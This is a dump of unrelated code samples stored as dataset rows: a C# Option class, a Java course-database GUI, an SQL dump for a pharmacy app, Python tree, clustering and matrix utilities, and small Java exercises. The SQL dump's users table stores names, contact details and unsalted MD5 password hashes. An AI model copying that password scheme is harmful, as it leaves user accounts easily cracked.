language
stringclasses
15 values
src_encoding
stringclasses
34 values
length_bytes
int64
6
7.85M
score
float64
1.5
5.69
int_score
int64
2
5
detected_licenses
listlengths
0
160
license_type
stringclasses
2 values
text
stringlengths
9
7.85M
C#
UTF-8
2,359
3.609375
4
[ "MIT" ]
permissive
using System; using System.Collections.Concurrent; namespace Matcher { /// <summary> /// A wrapper for optional results. /// </summary> public class Option<T> { public Option() { HasValue = false; } public Option(T value) { _value = value; HasValue = true; } private readonly T _value; /// <summary> /// Returns true if the option has a value. /// Returns false if it is empty. /// </summary> public bool HasValue { get; } /// <summary> /// Gets the value of this option. /// Throws an <see cref="InvalidOperationException" /> if the option is empty. /// </summary> public T Value { get { if(!HasValue) throw new InvalidOperationException("This option has no value!"); return _value; } } /// <summary> /// Implicit conversion operator. /// </summary> public static implicit operator Option<T>(T value) { return new Option<T>(value); } } /// <summary> /// Helper class for constructing options. /// </summary> public class Option { /// <summary> /// Cache for empty options (since they are immutable). /// </summary> private static readonly ConcurrentDictionary<Type, object> _emptyOptions = new ConcurrentDictionary<Type, object>(); /// <summary> /// Returns an option with a value. /// </summary> public static Option<T> Value<T>(T value) => new Option<T>(value); /// <summary> /// Returns an empty option. /// </summary> public static Option<T> None<T>() => (Option<T>) _emptyOptions.GetOrAdd(typeof(T), t => new Option<T>()); /// <summary> /// Return an option depending on the condition. /// </summary> public static Option<T> When<T>(bool condition, T value) => condition ? Value(value) : None<T>(); /// <summary> /// Return an option depending on the condition. /// </summary> public static Option<T> When<T>(bool condition, Func<T> valueFunc) => condition ? Value(valueFunc()) : None<T>(); } }
Java
UTF-8
19,161
3.125
3
[]
no_license
import java.awt.Component; import java.awt.Dimension; import java.awt.GridLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.text.ParseException; import java.util.InputMismatchException; import java.util.Scanner; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JLabel; import javax.swing.JOptionPane; import javax.swing.JTextField; /************************************************************* * Dalton Nofs * * Login ID: nofs5491 * * CS-102, Summer 2017 * * Programming Assignment 5 * * Assignment class: main entry point for assignment 3 * **************************************************************/ public class Prog5 { static Database courseData = new Database(); // Create a database to import to /************************************************************* * Method: main() * * Purpose: main entry for the program * * * * Parameters: String[]: string array of prog args * * Returns: void: N/A * **************************************************************/ public static void main (String[] args) { UserInterface ui = new UserInterface(); // init the ui ui.addMainWindow(); // config for main window config try { // attempt to load the database with file location // given at runtime courseData.loadDatabase(args); } catch(ArrayIndexOutOfBoundsException exc) { UserInterface.sendWarning("The database is full, " + exc.getMessage() + " course(s) were loaded!", "ERROR"); } catch(IllegalArgumentException exc) { // there was an error show it to user UserInterface.sendWarning(exc.getMessage(),"ERROR"); } } /************************************************************* * Method: userAddClass() * * Purpose: add a user class to database * * * * Parameters: Database: targetbase * * Returns: void: N/A * **************************************************************/ static void userAddCourse(Database targetDatabase) { String userInput = JOptionPane.showInputDialog( "Enter your class in the following format:\n" + "201003/CE-320/4/Microcomputers I/B+/N\n" + "yyyytt/corsnum/credit/title/grade/excluded\n" + "yyyy is year tt is term (01,02,03,04) ", "New Course"); Course tempCourse = new Course(); // course to be added String dateString = ""; // Temp string for separating the year and semester if(userInput == "") { UserInterface.sendWarning("You didn't enter anything", "Really?"); return; } Scanner pieces = new Scanner(userInput); // Scanner for spliting string // setTermTaken, and setExcludeFlag will throw a parse error // if data sent is not in the correct format try { pieces.useDelimiter("/"); dateString = pieces.next(); if(dateString.length() != 6) { throw new ParseException("Year/Term is wrong length",0); } tempCourse.setYearTaken(dateString.substring(0, 4)); // Set year to string char's 0-4 (year) tempCourse.setTermTaken(dateString.substring(4, 6)); // Set term taken to the 2 digit semester code tempCourse.setCourseNumber(pieces.next()); // Set the course number tempCourse.setCreditCount(pieces.nextInt()); // Set the number of credits the class is worth tempCourse.setCourseTitle(pieces.next()); // Set the course title tempCourse.setCourseGrade(pieces.next().toUpperCase()); // Set the course grade tempCourse.setExcludeFlag(pieces.next()); // Set the exclude flag } catch(ParseException exc) { UserInterface.sendWarning(exc.getMessage() + " Your input is ignored!\n", "Error"); return; } catch(InputMismatchException exc) { UserInterface.sendWarning(exc.getMessage()+"your input is ignored\n", "Error"); return; } targetDatabase.addCourse(tempCourse); } /************************************************************* * Method: userStore() * * Purpose: store database to file * * * * Parameters: Database: targetbase * * Returns: void: N/A * **************************************************************/ static void userStore(Database targetDatabase) { String userInput = JOptionPane.showInputDialog("Enter a file name to save to: "); try { targetDatabase.storeDatabase(userInput); } catch(IllegalArgumentException exc) { UserInterface.sendMessage( "\nAre you trying to break me? There is nothing to store!\n", "ERROR"); } } /************************************************************* * Method: userReload() * * Purpose: reload a database from file * * * * Parameters: Database: targetbase * * Returns: void: N/A * **************************************************************/ static void userReload(Database targetDatabase) { String userInput = JOptionPane.showInputDialog( "Enter a file to load, within the local directory: "); // Cast to string array to pass to load database String userInputArray[] = {userInput}; targetDatabase.removeAll(); // destroy old data try { // attempt to load the database with file location // given at runtime targetDatabase.loadDatabase(userInputArray); } catch(ArrayIndexOutOfBoundsException exc) { UserInterface.sendWarning("The database is full, " + exc.getMessage() + " course(s) were loaded!", "ERROR"); } catch(IllegalArgumentException exc) { UserInterface.sendWarning(exc.getMessage(), "ERROR"); } UserInterface.sendMessage("Database reloaded!", "INFO"); } /************************************************************* * Method: printCourse() * * Purpose: compile a single course into a buffer * * * * NOTE: this was making all my methods too long so... * * * * Parameters: Database: LinkedList: Index: * * targetDatabase, returnResults, index * * Returns: String: the info in the index * **************************************************************/ private static String printCourse(LinkedList<Course> returnResults, int index) { String buffer = returnResults.get(index).getCourseNumber() + ": " + returnResults.get(index).getCourseTitle() + " (" + returnResults.get(index).getCreditCount() + "). "+ returnResults.get(index).getTermTaken() + " " + returnResults.get(index).getYearTaken() + " " + returnResults.get(index).getCourseGrade() + "\n" ; return buffer; } /************************************************************* * Method: searchCourseNumInt() * * Purpose: search for num interface for UI * * Parameters: String Course num * * Returns: void: N/A * **************************************************************/ public static void searchCourseNumInt(String userInput) { try { // this prints internally so just junk the return we dont need it new CourseSearch().findByNumber(userInput, courseData); } catch (NoSuchFieldException e) { UserInterface.sendWarning("Course does not exist!", "ERROR"); } } /************************************************************* * Method: searchCourseTitleInt() * * Purpose: search interface for title for UI * * Parameters: String Course title * * Returns: void: N/A * **************************************************************/ public static void searchCourseTitleInt(String userInput) { try { // this prints internally so just junk the return we dont need it new CourseSearch().findByTitle(userInput, courseData); } catch (NoSuchFieldException e) { UserInterface.sendWarning("Course does not exist!", "ERROR"); } } /************************************************************* * Method: printDatabaseInt() * * Purpose: printDatabase interface for UI * * Parameters: void: N/A * * Returns: void: N/A * **************************************************************/ public static void printDatabaseInt() { try { // this does the actual printing new ConsolePrint().printDatabase(courseData); } catch(IllegalArgumentException exc) { // some exception happened show it to user UserInterface.sendWarning(exc.getMessage(),"ERROR"); } } /************************************************************* * Method: calculateGPAInt() * * Purpose: gpa calc interface for UI * * Parameters: void: N/A * * Returns: void: N/A * **************************************************************/ public static void calculateGPAInt() { try { String GPA = String.format("%.2f\n\n",new GpaCalc().calcGpa(courseData)); UserInterface.sendMessage("GPA is: " + GPA, "GPA Calculation"); } catch(IllegalArgumentException exc) { // some exception happened show it to user UserInterface.sendWarning(exc.getMessage(),"ERROR"); } } /************************************************************* * Method: userEditCourse() * * Purpose: edit a user class to database , frontend public * * * * Parameters: Database: Scanner: targetbase, console, * * Returns: void: N/A * **************************************************************/ static void userEditCourse(Database targetDatabase) { createEditSearchWindow(); } /************************************************************* * Method: userEditCourseWork() * * Purpose: edit the course, the background work * * * * Parameters: Search: JFrame: search, searchWindow * * Returns: void: N/A * **************************************************************/ private static void userEditCourseWork(String search) { String[] split = search.split("/"); // split the entry into 2 String userInput; // get first part String termInput; // get second part try { userInput = split[0]; // get first part termInput = split[1]; // get second part } catch( ArrayIndexOutOfBoundsException exc) { UserInterface.sendWarning("You didn't enter enough information", "ERROR"); UserInterface.getMainWindow().setVisible(true); return; } int promptCtr = 0; // Counter for seeing how many time the user was prompted LinkedList<Course> returnResults = null; // Results from the course search int editedCounter = 0; // For the number of edited courses Database targetDatabase = Prog5.courseData; // get the database try { returnResults = new CourseSearch().findByNumber(userInput, targetDatabase); } catch (NoSuchFieldException exc) { UserInterface.sendMessage("No results were found!", "INFO"); UserInterface.getMainWindow().setVisible(true); return; } for(int index=0;index<returnResults.size();) { // Print the course as long as it matches year and term if(termInput.equalsIgnoreCase(returnResults.get(index).getTermTakenRaw())) { if(JOptionPane.showConfirmDialog(null, "Would you like to Edit: " + printCourse(returnResults, index)) == 0) { for(int index2=0;index2<targetDatabase.getDatabaseSize();index2++) { if(targetDatabase.get(index2).getTerm().equals( returnResults.get(index).getTermTakenRaw())) { // remove course from lower list targetDatabase.remove(index2, returnResults.get(index)); userAddCourse(targetDatabase); editedCounter++; } } } else{/* do nothing */} promptCtr++; } index += 2; // because of storage in results add 2 instead of 1 } if(promptCtr>0) UserInterface.sendMessage("You edited " + editedCounter + " course(s)!\n","INFO"); else UserInterface.sendWarning( "There were no courses with the specified term!\n", "ERROR"); UserInterface.getMainWindow().setVisible(true); } /************************************************************* * Method: createEditSearchWindow() * * Purpose: window for entry of course info * * Parameters: void: N/A * * Returns: void: N/A * **************************************************************/ private static void createEditSearchWindow() { // New window for search info JFrame searchWindow = new JFrame("Edit SearchWindow"); searchWindow.setSize(400,100); // set the size GridLayout aGrid = new GridLayout(3,2,0,0); // config the layout searchWindow.setLayout(aGrid); // set window layout // create buttons JButton crsSearch = new JButton("Search"); JButton close = new JButton("Close"); // create lables JLabel crsNumLbl = new JLabel("Course Number:"); JLabel crsSemesterLbl = new JLabel("Course Semester (yyyytt):"); // create JTextField crsNum = new JTextField(); JTextField crsSemester = new JTextField(); // add objects to the window's searchWindow.add(crsNumLbl); searchWindow.add(crsNum); searchWindow.add(crsSemesterLbl); searchWindow.add(crsSemester); searchWindow.add(crsSearch); searchWindow.add(close); crsSearch.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { userEditCourseWork(crsNum.getText() + "/" + crsSemester.getText()); searchWindow.dispose(); } }); close.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { searchWindow.dispose(); UserInterface.getMainWindow().setVisible(true); } }); searchWindow.setVisible(true); } /************************************************************* * Method: userRemoveCourse() * * Purpose: remove a user class to database , frontend public * * * * Parameters: Database: targetbase, * * Returns: void: N/A * **************************************************************/ static void userRemoveCourse(Database targetDatabase) { createRemoveSearchWindow(); } /************************************************************* * Method: userRemoveCourseWork() * * Purpose: background work for the remove course * * Parameters: void: N/A * * Returns: void: N/A * **************************************************************/ private static void userRemoveCourseWork(String search) { String[] split = search.split("/"); // split the entry into 2 String userInput; // get first part String termInput; // get second part try { userInput = split[0]; // get first part termInput = split[1]; // get second part } catch( ArrayIndexOutOfBoundsException exc) { UserInterface.sendWarning("You didn't enter enough information", "ERROR"); UserInterface.getMainWindow().setVisible(true); return; } int promptCtr = 0; // Counter for seeing how many time the user was prompted LinkedList<Course> returnResults = null; // Results from the course search int deletedCounter = 0; // For the number of edited courses Database targetDatabase = Prog5.courseData; // get the database try { returnResults = new CourseSearch().findByNumber(userInput, targetDatabase); } catch (NoSuchFieldException exc) { UserInterface.sendWarning("No results were found!", "ERROR"); UserInterface.getMainWindow().setVisible(true); return; } for(int index=0;index<returnResults.size();) { // Print the course as long as it matches year and term if(termInput.equalsIgnoreCase(returnResults.get(index).getTermTakenRaw())) { if(JOptionPane.showConfirmDialog(null, "Would you like to delete: " + printCourse(returnResults, index)) == 0) { for(int index2=0;index2<targetDatabase.getDatabaseSize();index2++) { if(targetDatabase.get(index2).getTerm().equals( returnResults.get(index).getTermTakenRaw())) { // remove course from lower list targetDatabase.remove(index2, returnResults.get(index)); deletedCounter++; break; // exit for loop as term search is done } } } else{/* do nothing */} promptCtr++; } index += 2; // because of storage in results add 2 instead of 1 } if(promptCtr>0) UserInterface.sendMessage("You deleted " + deletedCounter + " course(s)!\n", "INFO"); else UserInterface.sendMessage( "There were no courses with the specified term!\n", "INFO"); UserInterface.getMainWindow().setVisible(true); } /************************************************************* * Method: createRemoveSearchWindow() * * Purpose: window for entry of course info * * Parameters: void: N/A * * Returns: void: N/A * **************************************************************/ private static void createRemoveSearchWindow() { // New window for search info JFrame searchWindow = new JFrame("Remove SearchWindow"); searchWindow.setSize(400,100); // set the size GridLayout aGrid = new GridLayout(3,2,0,0); // config the layout searchWindow.setLayout(aGrid); // set window layout // create buttons JButton crsSearch = new JButton("Search"); JButton close = new JButton("Close"); // create lables JLabel crsNumLbl = new JLabel("Course Number:"); JLabel crsSemesterLbl = new JLabel("Course Semester (yyyytt):"); // create JTextField crsNum = new JTextField(); JTextField crsSemester = new JTextField(); // add objects to the window's searchWindow.add(crsNumLbl); searchWindow.add(crsNum); searchWindow.add(crsSemesterLbl); searchWindow.add(crsSemester); searchWindow.add(crsSearch); searchWindow.add(close); crsSearch.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { userRemoveCourseWork(crsNum.getText() + "/" + crsSemester.getText()); searchWindow.dispose(); } }); close.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { searchWindow.dispose(); UserInterface.getMainWindow().setVisible(true); } }); searchWindow.setVisible(true); } }
SQL
UTF-8
8,251
2.9375
3
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
-- phpMyAdmin SQL Dump -- version 4.8.3 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1 -- Waktu pembuatan: 26 Nov 2019 pada 11.22 -- Versi server: 10.1.37-MariaDB -- Versi PHP: 7.2.12 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `apotek` -- -- -------------------------------------------------------- -- -- Struktur dari tabel `apps` -- CREATE TABLE `apps` ( `app_id` int(11) NOT NULL, `appname` varchar(255) NOT NULL, `by` varchar(255) NOT NULL, `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data untuk tabel `apps` -- INSERT INTO `apps` (`app_id`, `appname`, `by`, `created_at`) VALUES (1, 'Apotek Rahani Husada', 'Kelompok 6 FTIk Jurusan TI Universitas Semarang', '2019-11-18 05:39:47'); -- -------------------------------------------------------- -- -- Struktur dari tabel `kategoris` -- CREATE TABLE `kategoris` ( `kategori_id` int(11) NOT NULL, `kategoriname` varchar(255) NOT NULL, `cobat` int(11) NOT NULL DEFAULT '0', `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data untuk tabel `kategoris` -- INSERT INTO `kategoris` (`kategori_id`, `kategoriname`, `cobat`, `created_at`) VALUES (1, 'Obat Sakit Demam', 2, '2019-11-20 12:31:17'), (2, 'Obat Kuat', 1, '2019-11-20 12:32:47'); -- -------------------------------------------------------- -- -- Struktur dari tabel `obats` -- CREATE TABLE `obats` ( `obat_id` int(11) NOT NULL, `kategori_id` int(11) NOT NULL, `obatname` varchar(255) NOT NULL, `desc` text, `biji` varchar(255) DEFAULT NULL, `kaplet` varchar(255) DEFAULT NULL, `box` varchar(255) DEFAULT NULL, `botol` varchar(255) DEFAULT NULL, `dus` varchar(255) DEFAULT NULL, `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data untuk tabel `obats` -- INSERT INTO `obats` (`obat_id`, `kategori_id`, `obatname`, `desc`, `biji`, `kaplet`, `box`, `botol`, `dus`, `created_at`) VALUES (4, 1, 'Obh Kombi Plus', 'Obat batuk berdahak', '', '', '', '10000', '98000', '2019-11-21 07:16:33'), (5, 1, 'Inzana', 'Penurun panas', '500', '5500', '50000', '', '200000', '2019-11-21 07:17:27'), (6, 2, 'Pegelinu Air Mancur', 'Nyeri badan', '7000', '55000', '', '', '300000', '2019-11-21 07:18:17'); -- -------------------------------------------------------- -- -- Struktur dari tabel `pengeluaran` -- CREATE TABLE `pengeluaran` ( `pengeluaran_id` int(11) NOT NULL, `total` varchar(255) NOT NULL, `keperluan` text NOT NULL, `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Struktur dari tabel `process` -- CREATE TABLE `process` ( `process_id` int(11) NOT NULL, `product` varchar(255) NOT NULL, `price` varchar(255) NOT NULL, `qty` int(11) NOT NULL, `total` varchar(255) NOT NULL, `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Struktur dari tabel `saldo` -- CREATE TABLE `saldo` ( `saldo_id` int(11) NOT NULL, `saldos` varchar(255) NOT NULL, `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data untuk tabel `saldo` -- INSERT INTO `saldo` (`saldo_id`, `saldos`, `created_at`) VALUES (1, '206600', '2019-11-25 07:04:13'); -- -------------------------------------------------------- -- -- Struktur dari tabel `solds` -- CREATE TABLE `solds` ( `sold_id` int(11) NOT NULL, `transaction_id` int(11) NOT NULL, `product` varchar(255) NOT NULL, `price` varchar(255) NOT NULL, `qty` int(11) NOT NULL, `total` varchar(255) NOT NULL, `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Struktur dari tabel `transaksi` -- CREATE TABLE `transaksi` ( `transaction_id` varchar(15) NOT NULL, `nota` varchar(255) NOT NULL, `money` varchar(255) NOT NULL, `tanggal` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, `created_at` date NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data untuk tabel `transaksi` -- INSERT INTO `transaksi` (`transaction_id`, `nota`, `money`, `tanggal`, `created_at`) VALUES ('2511190001', 'ARH/2511190001/KSR/ANDIKA WAHYU S', '21500', '2019-11-25 07:13:25', '2019-11-25'), ('2511190002', 'ARH/2511190002/KSR/ANDIKA WAHYU S', '93100', '2019-11-25 07:15:54', '2019-11-25'), ('2611190001', 'ARH/2611190001/KSR/ANDIKA WAHYU S', '10000', '2019-11-26 03:57:04', '2019-11-26'), ('2611190002', 'ARH/2611190002/KSR/OKTA', '12000', '2019-11-26 09:36:57', '2019-11-26'); -- -------------------------------------------------------- -- -- Struktur dari tabel `users` -- CREATE TABLE `users` ( `user_id` int(11) NOT NULL, `name` varchar(255) NOT NULL, `email` varchar(255) NOT NULL, `password` varchar(255) NOT NULL, `role` varchar(255) NOT NULL, `address` text, `phone` varchar(15) DEFAULT NULL, `avatar` varchar(255) DEFAULT NULL, `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data untuk tabel `users` -- INSERT INTO `users` (`user_id`, `name`, `email`, `password`, `role`, `address`, `phone`, `avatar`, `created_at`) VALUES (1, 'Andika Wahyu S', 'emailadmin@gmail.com', 'd8578edf8458ce06fbc5bb76a58c5ca4', 'Admin', 'Purwodadi JawaTengah', '087999444888', 'yutaka-sepatu-kets-sneakers-1491822408-95213471-45d071a5607243691c5ae116dc03c93c.jpg', '2019-11-20 07:38:22'), (2, 'Okta', 'emailpegawai@gmail.com', 'd8578edf8458ce06fbc5bb76a58c5ca4', 'Pegawai', NULL, NULL, NULL, '2019-11-20 07:38:22'); -- -- Indexes for dumped tables -- -- -- Indeks untuk tabel `apps` -- ALTER TABLE `apps` ADD PRIMARY KEY (`app_id`); -- -- Indeks untuk tabel `kategoris` -- ALTER TABLE `kategoris` ADD PRIMARY KEY (`kategori_id`); -- -- Indeks untuk tabel `obats` -- ALTER TABLE `obats` ADD PRIMARY KEY (`obat_id`); -- -- Indeks untuk tabel `pengeluaran` -- ALTER TABLE `pengeluaran` ADD PRIMARY KEY (`pengeluaran_id`); -- -- Indeks untuk tabel `process` -- ALTER TABLE `process` ADD PRIMARY KEY (`process_id`); -- -- Indeks untuk tabel `saldo` -- ALTER TABLE `saldo` ADD PRIMARY KEY (`saldo_id`); -- -- Indeks untuk tabel `solds` -- ALTER TABLE `solds` ADD PRIMARY KEY (`sold_id`); -- -- Indeks untuk tabel `transaksi` -- ALTER TABLE `transaksi` ADD PRIMARY KEY (`transaction_id`); -- -- Indeks untuk tabel `users` -- ALTER TABLE `users` ADD PRIMARY KEY (`user_id`); -- -- AUTO_INCREMENT untuk tabel yang dibuang -- -- -- AUTO_INCREMENT untuk tabel `apps` -- ALTER TABLE `apps` MODIFY `app_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; -- -- AUTO_INCREMENT untuk tabel `kategoris` -- ALTER TABLE `kategoris` MODIFY `kategori_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; -- -- AUTO_INCREMENT untuk tabel `obats` -- ALTER TABLE `obats` MODIFY `obat_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7; -- -- AUTO_INCREMENT untuk tabel `pengeluaran` -- ALTER TABLE `pengeluaran` MODIFY `pengeluaran_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; -- -- AUTO_INCREMENT untuk tabel `process` -- ALTER TABLE `process` MODIFY `process_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=84; -- -- AUTO_INCREMENT untuk tabel `saldo` -- ALTER TABLE `saldo` MODIFY `saldo_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; -- -- AUTO_INCREMENT untuk tabel `solds` -- ALTER TABLE `solds` MODIFY `sold_id` int(11) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT untuk tabel `users` -- ALTER TABLE `users` MODIFY `user_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
Python
UTF-8
1,838
3.96875
4
[]
no_license
""" Recursive tree root label branch (also a tree) leaf : tree with zero branches nodes: each location of the tree """ #Tree abstraction """ >>>tree(3,[tree(1), tree(2,[tree(1), tree(1)])]) [3,[1],[2,[1],[1]]] """ #constructor def tree(label, branches=[]): #by default the list of branches is empty = a leaf for branch in branches: assert is_tree(branch) #varifies the tree definition return [label] + branches #creates a list for a sequence of branches #selector def label(tree): return tree[0] def branches(tree): return tree[1:] def is_tree(tree): if type(tree) != list or len(tree) < 1: #verifies that tree is bound to a list return False for branch in branches(tree): if not is_tree(branch): return False return True def is_leaf(tree): return not branches(tree) def fib_tree(n): if n<= 1: return tree(n) else: left, right = fib_tree(n-2), fib_tree(n-1) return tree(label(left)+label(right),[left, right]) #return the largest number of the tree def tree_max(t): return max([label(t)]+[tree_max(branch) for branch in branches(t)]) # returns the height of a tree (the longest path from a root to a leaf) def height(t): if is_leaf(t): return 0 return 1 + max([height(b) for b in branches(t)]) def square_tree(t): return tree(label(t)**2,[square_tree(b) for b in branches(t)] ) def find_path(tree ,x): if label(tree) == x: return [label(tree)] #base case paths = [find_path(b,x) for b in branches(tree)] for path in paths: if path: return [label(tree)] +path def prune(t,k): if k == 0: return tree(label(t),[]) else: return tree(label(t),[prune(b,k-1) for b in branches(t)])
Java
UTF-8
892
2.546875
3
[]
no_license
package com.test.controller; import javax.servlet.ServletException; import javax.servlet.http.*; import java.io.IOException; import java.util.Arrays; import java.util.List; import java.util.concurrent.atomic.AtomicInteger; public class SessionMockController extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { HttpSession session = req.getSession(); //List<Cookie> cookies = Arrays.asList(req.getCookies()); AtomicInteger counter = (AtomicInteger)session.getAttribute("counter"); if(counter == null){ counter = new AtomicInteger(1); session.setAttribute("counter", counter); } int numberOfVisits = counter.getAndIncrement(); resp.getWriter().write("You visit this page: " + numberOfVisits + " time"); } }
Java
UTF-8
618
3.796875
4
[]
no_license
package org.geeks.strings; import java.util.HashSet; import java.util.Set; public class MinimumIndexedChar { public static void main(String[] args) { String str = "geeksforgeeks"; String pat = "set"; minIndexChar(str, pat); } public static void minIndexChar(String str, String pat) { Set<Character> set = new HashSet<Character>(); for(int i=0; i<pat.length(); i++) { set.add(pat.charAt(i)); } for(int i=0; i<str.length(); i++) { if(set.contains(str.charAt(i))) { System.out.println(str.charAt(i)); return; } } System.out.println("No character present"); } }
Python
UTF-8
3,268
2.984375
3
[]
no_license
# --coding=utf8-- # TODO:input cluster_num = 2 v_num = 60 filename = "vector"+ str(v_num) +".txt" ######################################################################## import math import numpy from numpy.random import random import scipy import sklearn ######################################################################## # compute similarity of two vectors def get_distance(v1, v2): dis = 0.0 if v1 == v2: return dis if len(v1) != len(v2): print 'Error input!!!' for i in range(0, len(v1)): dis += (v1[i]-v2[i])*(v1[i]-v2[i]) dis = math.sqrt(dis) return dis ######################################################################## f1 = file(filename) v_matrix = [] for line in f1: v_tmp = line.split(" ") v1 = [] for i in v_tmp: if len(i) > 2: v1.append(float(i)) v_matrix.append(v1) f1.close() print "向量的个数 ", str(len(v_matrix)) print "每个向量的维度 ", str(len(v_matrix[0])) ######################################################################## dis_m = [] for j in range(0, v_num): row = [] for i in range(0, v_num): tmp_dis = get_distance(v_matrix[j], v_matrix[i]) row.append(tmp_dis) dis_m.append(row) source = numpy.array(dis_m) ######################################################################## ''' source = numpy.array([ [0.0, 1.0, 5.0, 7.0, 9.0], [1.0, 0.0, 5.0, 7.0, 9.0], [5.0, 5.0, 0.0, 5.0, 5.0], [7.0, 7.0, 5.0, 0.0, 1.0], [9.0, 9.0, 5.0, 1.0, 0.0], ]) ''' # 将二维数组形式的矩阵表达 转换为 (x,y)->value形式的矩阵表达 s = scipy.sparse.coo_matrix(source) data = s.tocsr() #print data ######################################################################### def one_cluster(Algorithm): print "Algorithm = " + str(Algorithm) # 编号对应的算法在注释里面 if Algorithm == 1: #KMeans kmeans = sklearn.cluster.KMeans(n_clusters=cluster_num, n_init=10) kmeans.fit(data) cluster = kmeans.predict(data) elif Algorithm == 2: #MeanShift meanshift = sklearn.cluster.MeanShift() meanshift.fit(source) cluster = meanshift.predict(source) elif Algorithm == 3: #AgglomerativeClustering agg = sklearn.cluster.AgglomerativeClustering(n_clusters=cluster_num) agg.fit(source) cluster = agg.fit_predict(source) elif Algorithm == 4: #DBSCAN kmeans = sklearn.cluster.DBSCAN() kmeans.fit(source) cluster = kmeans.fit_predict(source) elif Algorithm == 5: #SpectralClustering kmeans = sklearn.cluster.SpectralClustering(n_clusters=cluster_num) kmeans.fit(source) cluster = kmeans.fit_predict(source) elif Algorithm == 6: #Birch kmeans = sklearn.cluster.Birch(n_clusters=cluster_num) kmeans.fit(source) cluster = kmeans.fit_predict(source) elif Algorithm == 7: #AffinityPropagation kmeans = sklearn.cluster.AffinityPropagation() kmeans.fit(source) cluster = kmeans.fit_predict(source) ######################################################################### # 输出结果 print "Clustering Result:" result = "" for i in range(0, len(cluster)): result += str(i) + "("+ str(cluster[i]) +")" + " \n" print result file_result = file(filename[:-4] + "_Algorithm_" + str(Algorithm) + "_result.txt","w") file_result.write(result) file_result.close() for i in range(1,8): one_cluster(i)
Python
UTF-8
1,758
4.21875
4
[]
no_license
''' In mathematics, a matrix (plural matrices) is a rectangular array of numbers. Matrices have many applications in programming, from performing transformations in 2D space to machine learning. One of the most useful operations to perform on matrices is matrix multiplication, which takes a pair of matrices and produces another matrix – known as the dot product. Multiplying matrices is very different to multiplying real numbers, and follows its own set of rules. Unlike multiplying real numbers, multiplying matrices is non-commutative: in other words, multiplying matrix a by matrix b will not give the same result as multiplying matrix b by matrix a. Additionally, not all pairs of matrix can be multiplied. For two matrices to be multipliable, the number of columns in matrix a must match the number of rows in matrix b. There are many introductions to matrix multiplication online, including at Khan Academy, and in the classic MIT lecture series by Herbert Gross. To complete this kata, write a function that takes two matrices - a and b - and returns the dot product of those matrices. If the matrices cannot be multiplied, return -1 for JS/Python, or null for Java. Each matrix will be represented by a two-dimensional list (a list of lists). Each inner list will contain one or more numbers, representing a row in the matrix. ''' def getMatrixProduct(a, b): rows_A = len(a) cols_A = len(a[0]) rows_B = len(b) cols_B = len(b[0]) if cols_A != rows_B: return -1 else: C = [[0 for row in range(cols_B)] for col in range(rows_A)] for i in range(rows_A): for j in range(cols_B): for k in range(cols_A): C[i][j] += a[i][k] * b[k][j] return C
Markdown
UTF-8
3,738
3.453125
3
[]
no_license
